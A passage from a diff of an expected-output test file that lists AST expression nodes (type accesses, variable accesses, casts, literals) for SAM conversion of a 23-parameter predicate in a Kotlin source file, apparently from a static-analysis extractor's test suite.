+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | int | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:42:5:42:32 | b | samConversion.kt:40:1:47:1 | fn | LocalVariableDeclExpr |
+| samConversion.kt:42:13:42:32 | 23 | samConversion.kt:42:13:42:32 | accept | IntegerLiteral |
+| samConversion.kt:42:13:42:32 | (...)... | samConversion.kt:40:1:47:1 | fn | CastExpr |
+| samConversion.kt:42:13:42:32 | ...=... | samConversion.kt:42:13:42:32 |  | AssignExpr |
+| samConversion.kt:42:13:42:32 | <fn> | samConversion.kt:42:13:42:32 |  | VarAccess |
+| samConversion.kt:42:13:42:32 | <fn> | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | BigArityPredicate | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:42:13:42:32 | BigArityPredicate | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:42:13:42:32 | Boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | FunctionN<Boolean> | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | Object | samConversion.kt:42:13:42:32 | accept | TypeAccess |
+| samConversion.kt:42:13:42:32 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | i0 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i1 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i2 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i3 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i4 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i5 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i6 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i7 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i8 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i9 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i10 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i11 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i12 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i13 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i14 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i15 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i16 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i17 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i18 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i19 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i20 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i21 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | i22 | samConversion.kt:42:13:42:32 | accept | VarAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:42:13:42:32 | invoke(...) | samConversion.kt:42:13:42:32 | accept | MethodAccess |
+| samConversion.kt:42:13:42:32 | new (...) | samConversion.kt:40:1:47:1 | fn | ClassInstanceExpr |
+| samConversion.kt:42:13:42:32 | new Object[] | samConversion.kt:42:13:42:32 | accept | ArrayCreationExpr |
+| samConversion.kt:42:13:42:32 | this | samConversion.kt:42:13:42:32 |  | ThisAccess |
+| samConversion.kt:42:13:42:32 | this.<fn> | samConversion.kt:42:13:42:32 |  | VarAccess |
+| samConversion.kt:42:13:42:32 | {...} | samConversion.kt:42:13:42:32 | accept | ArrayInit |
+| samConversion.kt:42:31:42:31 | a | samConversion.kt:40:1:47:1 | fn | VarAccess |
+| samConversion.kt:43:5:45:68 | c | samConversion.kt:40:1:47:1 | fn | LocalVariableDeclExpr |
+| samConversion.kt:43:13:45:68 | 23 | samConversion.kt:43:13:45:68 | accept | IntegerLiteral |
+| samConversion.kt:43:13:45:68 | (...)... | samConversion.kt:40:1:47:1 | fn | CastExpr |
+| samConversion.kt:43:13:45:68 | ...=... | samConversion.kt:43:13:45:68 |  | AssignExpr |
+| samConversion.kt:43:13:45:68 | <fn> | samConversion.kt:43:13:45:68 |  | VarAccess |
+| samConversion.kt:43:13:45:68 | <fn> | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | BigArityPredicate | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:43:13:45:68 | BigArityPredicate | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:43:13:45:68 | Boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | FunctionN<Boolean> | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | Object | samConversion.kt:43:13:45:68 | accept | TypeAccess |
+| samConversion.kt:43:13:45:68 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | i0 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i1 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i2 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i3 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i4 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i5 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i6 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i7 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i8 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i9 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i10 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i11 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i12 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i13 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i14 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i15 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i16 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i17 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i18 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i19 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i20 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i21 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | i22 | samConversion.kt:43:13:45:68 | accept | VarAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:13:45:68 | invoke(...) | samConversion.kt:43:13:45:68 | accept | MethodAccess |
+| samConversion.kt:43:13:45:68 | new (...) | samConversion.kt:40:1:47:1 | fn | ClassInstanceExpr |
+| samConversion.kt:43:13:45:68 | new Object[] | samConversion.kt:43:13:45:68 | accept | ArrayCreationExpr |
+| samConversion.kt:43:13:45:68 | this | samConversion.kt:43:13:45:68 |  | ThisAccess |
+| samConversion.kt:43:13:45:68 | this.<fn> | samConversion.kt:43:13:45:68 |  | VarAccess |
+| samConversion.kt:43:13:45:68 | {...} | samConversion.kt:43:13:45:68 | accept | ArrayInit |
+| samConversion.kt:43:31:45:68 | 0 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 1 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 2 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 3 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 4 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 5 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 6 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 7 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 8 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 9 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 10 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 11 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 12 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 13 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 14 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 15 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 16 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 17 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 18 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 19 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 20 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 21 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | 22 | samConversion.kt:43:31:45:68 | invoke | IntegerLiteral |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | (...)... | samConversion.kt:43:31:45:68 | invoke | CastExpr |
+| samConversion.kt:43:31:45:68 | ...->... | samConversion.kt:40:1:47:1 | fn | LambdaExpr |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | ...[...] | samConversion.kt:43:31:45:68 | invoke | ArrayAccess |
+| samConversion.kt:43:31:45:68 | Boolean | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:43:31:45:68 | FunctionN<Boolean> | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | a0 | samConversion.kt:43:31:45:68 | invoke | VarAccess |
+| samConversion.kt:43:31:45:68 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | int | samConversion.kt:43:31:45:68 | invoke | TypeAccess |
+| samConversion.kt:43:31:45:68 | invoke(...) | samConversion.kt:43:31:45:68 | invoke | MethodAccess |
+| samConversion.kt:43:31:45:68 | this | samConversion.kt:43:31:45:68 | invoke | ThisAccess |
+| samConversion.kt:43:32:43:38 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:41:43:47 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:50:43:56 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:59:43:65 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:68:43:74 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:77:43:83 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:86:43:92 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:95:43:101 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:104:43:110 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:43:113:43:119 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:32:44:39 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:42:44:49 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:52:44:59 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:62:44:69 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:72:44:79 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:82:44:89 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:92:44:99 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:102:44:109 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:112:44:119 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:44:122:44:129 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:45:32:45:39 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:45:42:45:49 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:45:52:45:59 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:45:64:45:67 | true | samConversion.kt:43:31:45:68 | invoke | BooleanLiteral |
+| samConversion.kt:46:5:46:44 | d | samConversion.kt:40:1:47:1 | fn | LocalVariableDeclExpr |
+| samConversion.kt:46:13:46:44 | (...)... | samConversion.kt:40:1:47:1 | fn | CastExpr |
